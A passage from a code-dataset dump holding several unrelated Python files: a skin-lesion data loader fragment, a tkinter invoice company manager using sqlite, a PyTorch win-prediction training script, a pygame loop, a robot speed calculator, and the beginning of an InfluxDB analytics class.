df_test.melt(id_vars=['image'], var_name='dx', value_name='belongs_to_class')\\\n .query('belongs_to_class != 0')\\\n .drop(columns=['belongs_to_class'])\n df_test['dx'] = df_test['dx'].str.lower()\n df_test['class'] = df_test['dx'].apply(lambda x: classes.index(x))\n df_test = df_test.rename(columns={'image': 'image_id'})\n df_test['path'] = df_test['image_id'].apply(lambda x: os.path.join(test_path, 'ISIC2018_Task3_Test_Input/ISIC2018_Task3_Test_Input/' + x + '.jpg'))\n df_test = df_test.reset_index(drop=True)\n return df_test \n\ndef get_train_val_split(df_train, df_val):\n # Remove test data from train data\n df_train_unique = df_train[~df_train['lesion_id'].isin(df_val['lesion_id'])]\n df_train_unique.reset_index(inplace=True)\n df_val.reset_index(inplace=True)\n return df_train_unique, df_val","repo_name":"REFYSE/Skin-Lesion-Classifier","sub_path":"data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":2008,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"}
+{"seq_id":"2474972008","text":"from gui import *\nfrom tkinter import *\nfrom tkinter import ttk\nfrom tkinter import messagebox\nimport sqlite3\n\nclass CompanyPage(Others):\n def __init__(self, parent, name, dimensions):\n super().__init__(parent, name, dimensions)\n\n self.tree_frame = Frame(self)\n self.tree_frame.grid(row=0, column=0, pady=10)\n\n # Create scrollbar for treeview\n self.tree_scroll = Scrollbar(self.tree_frame)\n self.tree_scroll.pack(side=RIGHT, fill=Y)\n\n # Create treeview\n self.tree = ttk.Treeview(self.tree_frame, yscrollcommand=self.tree_scroll.set, selectmode=\"extended\")\n self.tree.pack()\n\n # Configure scrollbar\n self.tree_scroll.config(command=self.tree.yview)\n\n # Define the columns of the treeview\n self.tree['columns'] = (\n \"Company ID\", \"Company Name\", \"Company Address\", \"VAT Number\"\n )\n\n # Place the columns\n self.tree.column(\"#0\", width=0, stretch=NO)\n self.tree.column(\"Company ID\", anchor=CENTER, width=100)\n self.tree.column(\"Company Name\", anchor=CENTER, width=200)\n self.tree.column(\"Company Address\", anchor=CENTER, width=300)\n self.tree.column(\"VAT Number\", anchor=CENTER, width=140)\n\n # Create headings for columns\n self.tree.heading(\"#0\", text=\"\", anchor=W)\n self.tree.heading(\"Company ID\", text=\"Company ID\", anchor=CENTER)\n self.tree.heading(\"Company Name\", text=\"Company Name\", anchor=CENTER)\n self.tree.heading(\"Company Address\", text=\"Company Address\", anchor=CENTER)\n self.tree.heading(\"VAT Number\", text=\"VAT Number\", anchor=CENTER)\n\n self.data_frame = LabelFrame(self, text=\"Company\")\n self.data_frame.grid(row=1, column=0)\n\n self.name_label = Label(self.data_frame, text=\"Company Name:\")\n self.name_label.grid(row=0, column=0, padx=10, pady=10)\n self.name_entry = Entry(self.data_frame)\n self.name_entry.grid(row=0, column=1, padx=10, pady=10)\n\n self.address_label = Label(self.data_frame, text=\"Company Address:\")\n self.address_label.grid(row=0, column=2, padx=10, pady=10)\n self.address_entry = Entry(self.data_frame)\n self.address_entry.grid(row=0, column=3, padx=10, pady=10)\n\n self.vat_number_label = Label(self.data_frame, text=\"VAT Number:\")\n self.vat_number_label.grid(row=0, column=4, padx=5, pady=10)\n self.vat_number_entry = Entry(self.data_frame)\n self.vat_number_entry.grid(row=0, column=5, padx=5, pady=10)\n\n self.button_frame = LabelFrame(self, text=\"Commands\")\n self.button_frame.grid(row=2, column=0, pady=10)\n\n self.add_company_button = Button(self.button_frame, text=\"Add Company\", command=self.add)\n self.add_company_button.grid(row=0, column=0, padx=10, pady=10)\n\n self.update_company_button = Button(self.button_frame, text=\"Update Company Info\", command=self.update)\n self.update_company_button.grid(row=0, column=1, padx=20, pady=10)\n\n self.remove_all_companies_button = Button(self.button_frame, text=\"Remove All Companies\", command=self.remove_all)\n self.remove_all_companies_button.grid(row=0, column=2, padx=20, pady=10)\n\n self.remove_many_companies_button = Button(self.button_frame, text=\"Remove Selected Companies\", command=self.remove_selected)\n self.remove_many_companies_button.grid(row=0, column=3, padx=20, pady=10)\n\n self.go_back_button = Button(self.button_frame, text=\"Go Back\", command=self.go_back)\n self.go_back_button.grid(row=0, column=4, padx=10, pady=10)\n\n self.clear_entries_button = Button(self.data_frame, text=\"Clear Entries\", command=self.clear_entries)\n self.clear_entries_button.grid(row=0, column=6, padx=10, pady=10)\n\n self.tree.bind(\"\", self.select)\n\n self.query()\n\n def go_back(self):\n self.destroy()\n\n def query(self):\n\n # Clear the treeview table\n for record in self.tree.get_children():\n self.tree.delete(record)\n\n # Create the database or connect to the existing database\n conn = sqlite3.connect('invoice_db.db')\n\n # Create a cursor instance\n cursor = conn.cursor()\n\n # Fetch the data\n cursor.execute(\"SELECT * FROM companies\")\n records = cursor.fetchall()\n\n for record in records:\n self.tree.insert(parent='', index='end', text='', values=(record[0], record[1], record[2], record[3]))\n\n # Commit changes\n conn.commit()\n\n # Close the connection\n conn.close()\n\n def clear_entries(self):\n self.name_entry.delete(0, END)\n self.address_entry.delete(0, END)\n self.vat_number_entry.delete(0, END)\n\n def select(self, e):\n\n self.clear_entries()\n\n selected = self.tree.focus()\n\n values = self.tree.item(selected, 'values')\n\n # Output to entry boxes\n self.name_entry.insert(0, values[1])\n self.address_entry.insert(0, values[2])\n self.vat_number_entry.insert(0, values[3])\n\n def add(self):\n\n # Create the database or connect to the existing database\n conn = sqlite3.connect('invoice_db.db')\n\n # Create a cursor instance\n cursor = conn.cursor()\n\n cursor.execute(\"INSERT INTO companies (company_name, company_address, vat_number) VALUES (?,?,?)\",\n (self.name_entry.get(), self.address_entry.get(), self.vat_number_entry.get()))\n # Commit changes\n conn.commit()\n\n # Close the connection\n conn.close()\n\n self.clear_entries()\n\n # Clear The treeview table\n self.tree.delete(*self.tree.get_children())\n\n # Pull data from database\n self.query()\n\n def update(self):\n # Create the database or connect to the existing database\n conn = sqlite3.connect('invoice_db.db')\n\n # Create a cursor instance\n cursor = conn.cursor()\n\n selected = self.tree.focus()\n\n id = self.tree.item(selected).get('values')[0]\n\n cursor.execute(\"\"\"UPDATE companies SET\n company_name = ?,\n company_address = ?,\n vat_number = ?\n WHERE company_id = ?\"\"\", (\n self.name_entry.get(),\n self.address_entry.get(),\n self.vat_number_entry.get(),\n id))\n\n # Commit changes\n conn.commit()\n\n cursor.execute(\"SELECT * FROM companies\")\n\n x = self.tree.index(selected)\n\n records = cursor.fetchall()\n\n self.tree.item(selected, text=\"\", values=(\n records[x][0], records[x][1], records[x][2], records[x][3]))\n\n # Commit changes\n conn.commit()\n\n # Close the connection\n conn.close()\n\n self.clear_entries()\n\n self.query()\n\n def remove_selected(self):\n # Ask a yes/no question\n response = messagebox.askyesno(message=\"Are you sure you want to delete the selected companies?\")\n # Delete the invoice from the treeview\n if response == 1:\n\n selection = self.tree.selection()\n\n self.clear_entries()\n\n # Create a list to store ids of invoices to be removed\n removed = []\n\n # Add selections to the list\n for x in selection:\n removed.append(self.tree.item(x, 'values')[0])\n\n for x in selection:\n self.tree.delete(x)\n\n conn = sqlite3.connect('invoice_db.db')\n\n cursor = conn.cursor()\n\n cursor.executemany(\"DELETE FROM companies WHERE company_id = ?\", [(x,) for x in removed])\n\n conn.commit()\n\n conn.close()\n\n def remove_all(self):\n # Ask a yes/no question\n response = messagebox.askyesno(message=\"Are you sure you want to delete all companies?\")\n # Delete the invoice from the treeview\n if response == 1:\n for x in self.tree.get_children():\n self.tree.delete(x)\n\n self.clear_entries()\n\n conn = sqlite3.connect('invoice_db.db')\n\n cursor = conn.cursor()\n\n cursor.execute(\"DELETE FROM companies\")\n\n conn.commit()\n\n conn.close()","repo_name":"SarpHarbali/invoice-organizer","sub_path":"company.py","file_name":"company.py","file_ext":"py","file_size_in_byte":8318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"}
+{"seq_id":"42740249522","text":"# from __future__ import print_function, division\n# from torch.optim import lr_scheduler\nimport torch\nfrom torch.autograd import Variable\nimport torch.nn as nn\n# import torch.nn.functional as F\nimport torch.optim as optim\n# import torch.utils.data as Data\nimport numpy as np\n# import torchvision\n# from torchvision import datasets, models, transforms\nimport matplotlib.pyplot as plt\nimport time\nimport os\nimport copy\nimport io\nimport json\nimport ast\nimport sys\nimport random\n\n\nBATCH_SIZE = 32\nEPOCH = 100\nFILE_NUM = 4\nOUT_FILE_DIR = \"model/\"\n\nmodel_paths = []\n\ndef get_batchs(dataset_split_index, inputs, labels):\n x, y = [], []\n b_x, b_y = [], []\n for i, dsi in enumerate(dataset_split_index):\n if (i % BATCH_SIZE) == 0:\n b_x = list_to_cuda_var(b_x)\n b_y = list_to_cuda_var(b_y)\n x.append(b_x)\n y.append(b_y)\n b_x = []\n b_y = []\n rand_split_in_replay = np.random.randint(0, len(inputs[dsi]))\n b_x.append(inputs[dsi][rand_split_in_replay])\n b_y.append(labels[dsi])\n if b_x != []:\n b_x = list_to_cuda_var(b_x)\n b_y = list_to_cuda_var(b_y)\n x.append(b_x)\n y.append(b_y)\n del x[0], y[0]\n return x, y\n\ndef list_to_cuda_var(input_list):\n input_list = torch.tensor(input_list)\n input_list = input_list.type(torch.FloatTensor)\n input_list = Variable(input_list.cuda())\n return input_list\n \n\ndef get_loss_plot_data(losses_his):\n temp = []\n result = []\n for his in losses_his:\n his_result = [[]]\n EPOCH_LENGTH = int(len(his) / EPOCH)\n for item in his:\n if len(temp) == EPOCH_LENGTH:\n his_result[0].append(np.mean(temp))\n temp.clear()\n temp.append(item)\n # print(\"his_length: %d\" % len(his))\n # print(\"EPOCH_LENGTH: %d\" % EPOCH_LENGTH)\n result += his_result\n # print(\"result: %s\" % str(result))\n return result\n \n\ndef get_print_tensor(tensor):\n if tensor.dim() < 2:\n return str(tensor.tolist() )\n else:\n t_str = \"[\"\n for i in range(tensor.size()[0]):\n t_str += get_print_tensor(tensor[i]) + \",\\n\"\n t_str = t_str[:-2]\n t_str += \"]\"\n return t_str\n\ndef normalize_min_max(data, index, max_threashold, min_threashold = 0):\n data[index] = (data[index] - min_threashold) / (max_threashold - min_threashold)\n\ndef get_accuracy(predicts, labels):\n hit_num = 0\n if(len(predicts) != len(labels)):\n print(\"size of predicts and labels didn't match\")\n raise ValueError\n else:\n for predict,label in zip(predicts, labels):\n temp = 1 if predict > 0.5 else 0\n if temp == label:\n hit_num += 1\n return hit_num / len(predicts)\n\ndef save_model_for_cpp(nets, i):\n model = {\n \"name\" : \"net\" + str(i + 1),\n \"net\" : nets[i]\n }\n save_model(model)\n\n\ndef save_model(model):\n name = model['name']\n net = model['net']\n model_dict = net.state_dict()\n with open(OUT_FILE_DIR + name + \".model\",\"w\") as fo:\n for i in model_dict:\n if type(model_dict[i]) is torch.Tensor:\n structure = \"dict[%s]=\" % i\n fo.write(structure + \"\\n\")\n fo.write(str(model_dict[i].size()) + \"\\n\")\n fo.write(get_print_tensor(model_dict[i]))\n fo.write(\"\\n\")\n model_path = OUT_FILE_DIR + name +'.pt'\n model_paths.append(model_path)\n torch.save(net, model_path)\n \nif __name__ == '__main__':\n if not os.path.exists(OUT_FILE_DIR):\n os.mkdir(OUT_FILE_DIR)\n\n cuda0 = torch.cuda.set_device(0)\n\n plt.ion() \n\n inputs = []\n labels = []\n current_file_num = 0\n while current_file_num < FILE_NUM:\n feature_file_name = \"fo_tvt/fo_tvt_\" + str(current_file_num * 100) + \"_\" + str((current_file_num + 1) * 100)\n with open(feature_file_name) as fi:\n while True:\n line = fi.readline()\n if not line:\n break\n input_temp = ast.literal_eval(line)\n for i in range(len(input_temp)):\n # U_mineral normalization\n normalize_min_max(input_temp[i], 1, 4000)\n normalize_min_max(input_temp[i], 51, 4000)\n # U_gas normalization\n normalize_min_max(input_temp[i], 2, 1750)\n normalize_min_max(input_temp[i], 52, 1750)\n # U_supply normalization\n normalize_min_max(input_temp[i], 3, 350)\n normalize_min_max(input_temp[i], 53, 350)\n # I_mineral normalization\n normalize_min_max(input_temp[i], 4, 75000)\n normalize_min_max(input_temp[i], 54, 75000)\n # I_gas normalization\n normalize_min_max(input_temp[i], 5, 38000)\n normalize_min_max(input_temp[i], 55, 38000)\n # I_supply normalization\n normalize_min_max(input_temp[i], 6, 400)\n normalize_min_max(input_temp[i], 56, 400)\n # base_num normalization\n normalize_min_max(input_temp[i], 7, 10)\n normalize_min_max(input_temp[i], 57, 10)\n # building_score normalization\n normalize_min_max(input_temp[i], 8, 40000)\n normalize_min_max(input_temp[i], 58, 40000)\n # building_variety normalization\n normalize_min_max(input_temp[i], 9, 60)\n normalize_min_max(input_temp[i], 59, 60)\n # unit_num normalization\n normalize_min_max(input_temp[i], 10, 160)\n normalize_min_max(input_temp[i], 60, 160)\n # unit_score normalization\n normalize_min_max(input_temp[i], 11, 70000)\n normalize_min_max(input_temp[i], 61, 70000)\n # unit_variety normalization\n normalize_min_max(input_temp[i], 12, 30)\n normalize_min_max(input_temp[i], 62, 30)\n # vm_action_num normalization\n normalize_min_max(input_temp[i], 13, 100)\n normalize_min_max(input_temp[i], 63, 100)\n # unique_region normalization\n normalize_min_max(input_temp[i], 14, 30)\n normalize_min_max(input_temp[i], 64, 30)\n # building_slots normalization\n for j in range(15,31):\n normalize_min_max(input_temp[i], j, 25)\n for j in range(65,81):\n normalize_min_max(input_temp[i], j, 25)\n # unit_slots normalization\n for j in range(31,49):\n if j == 31 + 8:\n normalize_min_max(input_temp[i], j, 120)\n continue\n normalize_min_max(input_temp[i], j, 60)\n for j in range(81,99):\n if j == 81 + 8:\n normalize_min_max(input_temp[i], j, 120)\n continue\n normalize_min_max(input_temp[i], j, 60)\n # region_value normalization\n normalize_min_max(input_temp[i], 49, 20)\n normalize_min_max(input_temp[i], 99, 20)\n # chokedist normalization\n normalize_min_max(input_temp[i], 108, 600, 200)\n\n # delete features can not get from real system\n for i in range(len(input_temp)):\n del input_temp[i][108] # chokedist\n del input_temp[i][107] # walkable_num (16 binary values)\n del input_temp[i][64] # oppo unique_region\n del input_temp[i][51:57] # oppo resourse related features\n del input_temp[i][14] # self unique_region\n \n inputs.append(input_temp)\n label_file_name = feature_file_name + \"_label\"\n with open(label_file_name) as fi:\n for line in fi.readlines():\n label = ast.literal_eval(line)[-1]\n labels.append(label)\n current_file_num += 1\n\n if len(labels) != len(inputs):\n print(\"input length does not match label length!!!\")\n sys.exit(-1)\n feature_num = len(inputs[0][0])\n assert feature_num == 99\n\n # put dateset into torch dataset\n # inputs = torch.Tensor(inputs)\n # print(inputs.size())\n # labels = torch.Tensor(labels)\n # labels = labels.view(-1,1)\n # print(labels.size())\n # dataset = Data.TensorDataset(inputs, labels)\n\n winner_count = 0\n lose_count = 0\n for item in labels:\n if item == 1:\n winner_count += 1\n elif item == 0:\n lose_count += 1\n print(\"winner_count: %d\" % winner_count)\n print(\"lose_count: %d\" % lose_count)\n # use permutation to split train|dev|test dataset after shuffle whole data\n replay_num = len(inputs)\n replay_index = np.random.permutation(np.arange(replay_num))\n print(\"replay_num: %d\" % replay_num)\n print(\"replay_index: %s\" % str(replay_index))\n train_split_index = int(replay_num * 0.8)\n dev_split_index = int(replay_num * 0.9)\n train_dataset_index = replay_index[ : train_split_index]\n dev_dataset_index = replay_index[train_split_index : dev_split_index]\n test_dataset_index = replay_index[dev_split_index : ]\n\n #xavier initialization\n linear1 = torch.nn.Linear(feature_num, 256)\n linear2 = torch.nn.Linear(256, 256)\n linear3 = torch.nn.Linear(256, 1)\n # linear3 = torch.nn.Linear(256, 2)\n torch.nn.init.xavier_uniform_(linear1.weight)\n torch.nn.init.xavier_uniform_(linear2.weight)\n torch.nn.init.xavier_uniform_(linear3.weight)\n\n net1 = torch.nn.Sequential(\n linear1,\n torch.nn.Tanh(),\n linear2,\n torch.nn.ReLU(),\n linear3,\n torch.nn.Sigmoid()\n )\n\n net2, net3 = copy.deepcopy(net1), copy.deepcopy(net1)\n\n # net1 = torch.load(OUT_FILE_DIR + \"net1.pt\")\n # net2 = torch.load(OUT_FILE_DIR + \"net2.pt\")\n # net3 = torch.load(OUT_FILE_DIR + \"net3.pt\")\n\n print(net1) # net 的结构\n\n # Adam optimizer\n optimizer_1 = torch.optim.Adam(net1.parameters(), lr=1e-2) # 传入 net 的所有参数, 学习率\n optimizer_2 = torch.optim.Adam(net2.parameters(), lr=1e-3) # 传入 net 的所有参数, 学习率\n optimizer_3 = torch.optim.Adam(net3.parameters(), lr=1e-4) # 传入 net 的所有参数, 学习率\n optimizers = [optimizer_1, optimizer_2, optimizer_3]\n loss_func = torch.nn.BCELoss() # 二分类交叉熵loss\n train_losses_his = [[], [], []] # 记录 training 时train不同学习率的 loss\n dev_losses_his = [[], [], []] # 记录 training 时dev不同学习率的 loss\n test_losses_his = [[], [], []] # 记录 training 时test不同学习率的 loss\n test_acc_his = [[], [], []] # 记录 training 时test不同学习率的 acc\n highest_accuracies = [0, 0, 0] # 记录最高的准确率\n nets = [net1, net2, net3]\n\n # cuda\n if torch.cuda.is_available():\n net1.cuda()\n net2.cuda()\n net3.cuda()\n loss_func.cuda()\n\n\n # training\n since = time.time()\n for epoch in range(EPOCH):\n print('Epoch: ', epoch)\n # train dataset\n x, y = get_batchs(train_dataset_index, inputs, labels)\n for b_x, b_y in zip(x, y):\n for net, opt, l_his in zip(nets, optimizers, train_losses_his):\n output = net(b_x) # get output for every net\n output = output.squeeze()\n loss_func.zero_grad()\n loss = loss_func(output, b_y) # compute loss for every net\n opt.zero_grad() # clear gradients for next train\n loss.backward() # backpropagation, compute gradients\n opt.step() # apply gradients\n l_his.append(loss.data.cpu().numpy()) # loss recoder\n\n # dev dataset\n x, y = get_batchs(dev_dataset_index, inputs, labels)\n accuracies = [[], [], []]\n for b_x, b_y in zip(x, y):\n for net, opt, l_his, accuracy in zip(nets, optimizers, dev_losses_his, accuracies):\n output = net(b_x) # get output for every net\n output = output.squeeze()\n accuracy.append(get_accuracy(output, b_y))\n loss_func.zero_grad()\n loss = loss_func(output, b_y) # compute loss for every net\n opt.zero_grad() # clear gradients for next train\n l_his.append(loss.data.cpu().numpy()) # loss recoder\n # compare current accuracy to highest accuracy\n for i in range(len(highest_accuracies)):\n accuracy = np.mean(accuracies[i])\n if accuracy > highest_accuracies[i]:\n highest_accuracies[i] = accuracy\n save_model_for_cpp(nets, i)\n\n # test dataset\n x, y = get_batchs(test_dataset_index, inputs, labels)\n for b_x, b_y in zip(x, y):\n for net, opt, l_his, acc_his in zip(nets, optimizers, test_losses_his, test_acc_his):\n output = net(b_x) # get output for every net\n output = output.squeeze()\n acc_his.append(get_accuracy(output, b_y))\n loss_func.zero_grad()\n loss = loss_func(output, b_y) # compute loss for every net\n opt.zero_grad() # clear gradients for next train\n l_his.append(loss.data.cpu().numpy()) # loss recoder\n \n # test dataset\n accuracies = [[], [], []]\n x, y = get_batchs(test_dataset_index, inputs, labels)\n for net, model_path, opt, l_his, accuracy in zip(nets, model_paths, optimizers, test_losses_his, accuracies):\n net = torch.load(model_path)\n output = net(b_x) # get output for every net\n output = output.squeeze()\n accuracy.append(get_accuracy(output, b_y))\n loss = loss_func(output, b_y)\n loss_func.zero_grad()\n l_his.append(loss.data.cpu().numpy())\n test_loss_result = []\n test_accurate_result = []\n for l_his in test_losses_his:\n test_loss_result.append(l_his[-1])\n for accuracy in accuracies:\n test_accurate_result.append(accuracy[-1])\n with open(OUT_FILE_DIR + \"test_result.txt\", \"w\") as fo:\n fo.write(\"loss:\\n\")\n for result in test_loss_result:\n fo.write(str(result))\n fo.write(\"\\n\")\n fo.write(\"acc:\\n\")\n for result in test_accurate_result:\n fo.write(str(result))\n fo.write(\"\\n\")\n\n # record time\n time_elapsed = time.time() - since\n print('Training complete in {:.0f}m {:.0f}s'.format(\n time_elapsed / 60, time_elapsed % 60))\n plot_labels = ['lr 1e-2', 'lr 1e-3', 'lr 1e-4']\n \n tlh_plot_data = get_loss_plot_data(train_losses_his)\n dlh_plot_data = get_loss_plot_data(dev_losses_his)\n test_lh_plot_data = get_loss_plot_data(test_losses_his)\n test_ah_plot_data = get_loss_plot_data(test_acc_his)\n\n # train plot\n for i, l_his in enumerate(tlh_plot_data):\n plt.plot(l_his, label=plot_labels[i])\n plt.legend(loc='best')\n plt.xlabel('Epochs')\n plt.ylabel('Loss')\n plt.xlim((0))\n plt.ylim((0, 1.0))\n plt.savefig(OUT_FILE_DIR + \"train_summary.png\")\n plt.clf()\n # seperate optimizer plot\n for i, l_his in enumerate(tlh_plot_data):\n plt.plot(l_his)\n plt.xlabel('Epochs')\n plt.ylabel('Loss')\n plt.xlim((0))\n plt.ylim((0, 1.0))\n plt.savefig(OUT_FILE_DIR + plot_labels[i] + \"_train.png\")\n plt.clf()\n # dev plot\n plt.clf()\n for i, l_his in enumerate(dlh_plot_data):\n plt.plot(l_his, label=plot_labels[i])\n plt.legend(loc='best')\n plt.xlabel('Epochs')\n plt.ylabel('Loss')\n plt.xlim((0))\n plt.ylim((0, 1.0))\n plt.savefig(OUT_FILE_DIR + \"dev_summary.png\")\n plt.clf()\n # seperate optimizer plot\n for i, l_his in enumerate(dlh_plot_data):\n plt.plot(l_his)\n plt.xlabel('Epochs')\n plt.ylabel('Loss')\n plt.xlim((0))\n plt.ylim((0, 1.0))\n plt.savefig(OUT_FILE_DIR + plot_labels[i] + \"_dev.png\")\n plt.clf()\n with open(OUT_FILE_DIR + \"train_model_loss\", \"w\") as fo:\n for train_los in train_losses_his:\n fo.write(\"optimizer\\n\")\n for item in train_los:\n fo.write(str(item))\n fo.write(\"\\n\")\n with open(OUT_FILE_DIR + \"dev_model_loss\", \"w\") as fo:\n for dev_loss in dev_losses_his:\n fo.write(\"optimizer\\n\")\n for item in dev_loss:\n fo.write(str(item))\n fo.write(\"\\n\")\n # test plot\n plt.clf()\n for i, l_his in enumerate(test_lh_plot_data):\n plt.plot(l_his, label=plot_labels[i])\n plt.legend(loc='best')\n plt.xlabel('Epochs')\n plt.ylabel('Loss')\n plt.xlim((0))\n plt.ylim((0, 1.0))\n plt.savefig(OUT_FILE_DIR + \"test_loss_summary.png\")\n plt.clf()\n\n plt.clf()\n for i, l_his in enumerate(test_ah_plot_data):\n plt.plot(l_his, label=plot_labels[i])\n plt.legend(loc='best')\n plt.xlabel('Epochs')\n plt.ylabel('Accurate')\n plt.xlim((0))\n plt.ylim((0, 1.0))\n plt.savefig(OUT_FILE_DIR + \"test_acc_summary.png\")\n plt.clf()\n\n \n","repo_name":"pfan8/PyTorch-NN-C-","sub_path":"py/pytorch_nn_server.py","file_name":"pytorch_nn_server.py","file_ext":"py","file_size_in_byte":17680,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"65"}
+{"seq_id":"1915281743","text":"import pygame, sys\nfrom pygame.locals import *\nimport FIRST_PART.DRAW.all_drawing\nimport FIRST_PART.MECHANICA.signal_distribution\nimport FIRST_PART.DATAS\nimport FIRST_PART.DATAS.get_datas\n\nall_const = FIRST_PART.DATAS.const\n\n\ndef check_end_part():\n condition = FIRST_PART.DATAS.get_datas.get_condition_game()\n return True if condition == 'end' else False\n\n\ndef main():\n pygame.init()\n\n global all_const\n\n ####################\n SCREEN = pygame.display.set_mode((all_const.WIDTH, all_const.HEIGHT), 0, 32)\n\n draw_game = FIRST_PART.DRAW.all_drawing.DRAW_MOVING_AND_FON(SCREEN)\n accept_signals_user = FIRST_PART.MECHANICA.signal_distribution.USERS_SIGNAL()\n ###################\n\n while True:\n if check_end_part():\n break\n\n pygame.time.Clock().tick(all_const.FPS) # Частота обновления экрана\n\n for event in pygame.event.get():\n\n if event.type == QUIT:\n # Тип проверяемого события НАЖАТ Х В ОКНЕ ИГРЫ\n pygame.quit()\n sys.exit()\n if event.type == KEYDOWN and event.key == K_ESCAPE:\n # ESC key pressed\n pygame.quit()\n sys.exit()\n if event.type == pygame.MOUSEBUTTONDOWN:\n accept_signals_user.give_signals(pygame.mouse.get_pos())\n\n #################\n # MOVING GAME\n keys = pygame.key.get_pressed()\n side = None\n\n if keys[pygame.K_LEFT]:\n side = 'left'\n if keys[pygame.K_RIGHT]:\n side = 'right'\n if keys[pygame.K_UP]:\n side = 'up'\n if keys[pygame.K_DOWN]:\n side = 'down'\n\n accept_signals_user.give_signals(side) if side is not None \\\n else accept_signals_user.give_signals(side, absence=True)\n #################\n\n draw_game.processor()\n\n pygame.display.update()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"ffidls/game-engine","sub_path":"GAME.py","file_name":"GAME.py","file_ext":"py","file_size_in_byte":1992,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"65"}
+{"seq_id":"15084157839","text":"import numpy as np\n\nclass SpeedCalculator:\n\n def __init__(self, sampleTime):\n\n \"\"\"\n this function initializes speenCalc\n\n :param sampleTime: sysrem sample time\n \"\"\"\n\n self.dt = sampleTime\n\n def __calc_rotation_speed(self, angle):\n\n \"\"\"\n This function calculates reference speed of robot rotation atound Z axit\n :param angle: angle which robot need to turn\n :return:\n \"\"\"\n\n return angle*angle*angle/self.dt\n\n def calc_speed(self, x_ref, y_ref, angle):\n\n if angle < 0.1 and angle > -0.1:\n vx = x_ref[0]/self.dt\n vy = 0.0\n omega = 0.0\n else:\n omega = self.__calc_rotation_speed(angle)\n\n transition_mat = np.matrix([[np.sin(angle)/omega, -(1 - np.cos(angle))/omega], [(1 - np.cos(angle))/omega, np.sin(angle)/omega]])\n ref_position = np.matrix([x_ref, y_ref])\n print(transition_mat)\n ref_speed = np.matmul(np.linalg.inv(transition_mat), ref_position)\n vx = ref_speed[0, 0]\n vy = ref_speed[1, 0]\n\n return [2*vx, 2*vy, omega]\n\n","repo_name":"LlirikOknessu/RobotinoLab","sub_path":"src/speedCalculator.py","file_name":"speedCalculator.py","file_ext":"py","file_size_in_byte":1138,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"65"}
+{"seq_id":"18397756256","text":"import os\nimport time\nfrom datetime import datetime, timedelta\nfrom sklearn.tree import DecisionTreeRegressor\nfrom sklearn.ensemble import AdaBoostRegressor\nfrom datetime import datetime\nimport pika\nfrom influxdb_client import InfluxDBClient, Point\nfrom influxdb_client.client.write_api import SYNCHRONOUS\nimport pandas as pd\nimport numpy as np\nimport pytz\nimport const\nimport utils\nimport alert_sms\n\ncolumns = [\n const.DATE_KEY,\n const.SECONDS_KEY,\n const.TEMPERATURE_TANK_KEY,\n const.TEMPERATURE_MAIN_TANK_KEY,\n const.TEMPERATURE_DOME_KEY,\n const.TEMPERATURE_PLANTS_KEY,\n const.TEMPERATURE_ATM_KEY,\n const.HUMEDITY_1_KEY,\n const.HUMEDITY_2_KEY,\n]\n\ncolumns_days = [\n const.DATE_DAY_KEY,\n const.DAY_OF_THE_YEAR_KEY,\n const.MEAN_TEMPERATURE_KEY,\n]\n\n\nclass Analytics():\n influx_bucket = 'rabbit'\n influx_token = 'token-secret'\n influx_url = 'http://influxDB:8086'\n influx_org = 'org'\n current_date = None\n alert = 0\n dataframe = pd.DataFrame(columns=columns)\n dataframe_prediction = pd.DataFrame(columns=columns_days)\n random_forest_regressor = AdaBoostRegressor(\n DecisionTreeRegressor(max_depth=5), n_estimators=10)\n counts = {\n 'COUNT_MIN_{}'.format(const.TEMPERATURE_MAIN_TANK_KEY): 0,\n 'COUNT_MIN_{}'.format(const.TEMPERATURE_TANK_KEY): 0,\n 'COUNT_MIN_{}'.format(const.HUMEDITY_1_KEY): 0,\n 'COUNT_MIN_{}'.format(const.HUMEDITY_2_KEY): 0,\n 'COUNT_MAX_{}'.format(const.TEMPERATURE_MAIN_TANK_KEY): 0,\n 'COUNT_MAX_{}'.format(const.TEMPERATURE_TANK_KEY): 0,\n 'COUNT_MAX_{}'.format(const.HUMEDITY_1_KEY): 0,\n 'COUNT_MAX_{}'.format(const.HUMEDITY_2_KEY): 0,\n }\n\n def write_db(self, tag, key, value, timestamp, tag_value='value'):\n client = InfluxDBClient(url=self.influx_url,\n token=self.influx_token, org=self.influx_org)\n write_api = client.write_api(write_options=SYNCHRONOUS)\n point = Point('Analytics').tag(tag, tag_value).field(\n key, value).time(timestamp, write_precision='ns')\n write_api.write(bucket=self.influx_bucket, record=point)\n\n # Get max values from every var and post to InfluxDB\n def get_max_values(self):\n if len(self.dataframe) > 0:\n for item in const.VARS_MAX_MIN:\n max_temperature = self.dataframe[item].max()\n max_temperature_idx = self.dataframe[item].idxmax()\n max_temperature_row = self.dataframe.iloc[max_temperature_idx]\n max_temperature_time = max_temperature_row[const.DATE_KEY]\n self.write_db(\n tag='max_values',\n key='MAX_{}'.format(item),\n value=max_temperature,\n timestamp=utils.get_time_to_influx(max_temperature_time)\n )\n\n # Get min values from every var and post to InfluxDB\n def get_min_values(self):\n if len(self.dataframe) > 0:\n for item in const.VARS_MAX_MIN:\n min_temperature = self.dataframe[item].min()\n min_temperature_idx = self.dataframe[item].idxmin()\n min_temperature_row = self.dataframe.iloc[min_temperature_idx]\n min_temperature_time = min_temperature_row[const.DATE_KEY]\n self.write_db(\n tag='min_values',\n key='MIN_{}'.format(item),\n value=min_temperature,\n timestamp=utils.get_time_to_influx(min_temperature_time)\n )\n\n def get_counts_dataframe(self):\n if len(self.dataframe) > 0:\n for key, value in const.VARS_COUNT.items():\n count_max = (self.dataframe[key] > value['max']).sum()\n count_min = (self.dataframe[key] <= value['min']).sum()\n self.write_db(\n tag='counts',\n tag_value='counts_max',\n key='COUNT_MAX_{}'.format(key),\n value=count_max,\n timestamp=utils.get_time_to_influx()\n )\n self.write_db(\n tag='counts',\n tag_value='counts_min',\n key='COUNT_MIN_{}'.format(key),\n value=count_min,\n timestamp=utils.get_time_to_influx()\n )\n\n for key, value in const.VARS_DOME.items():\n if key == 'day':\n # Count min from day\n dataframe_day_min = self.dataframe.apply(lambda x: utils.get_count_dome_day_min(\n x, 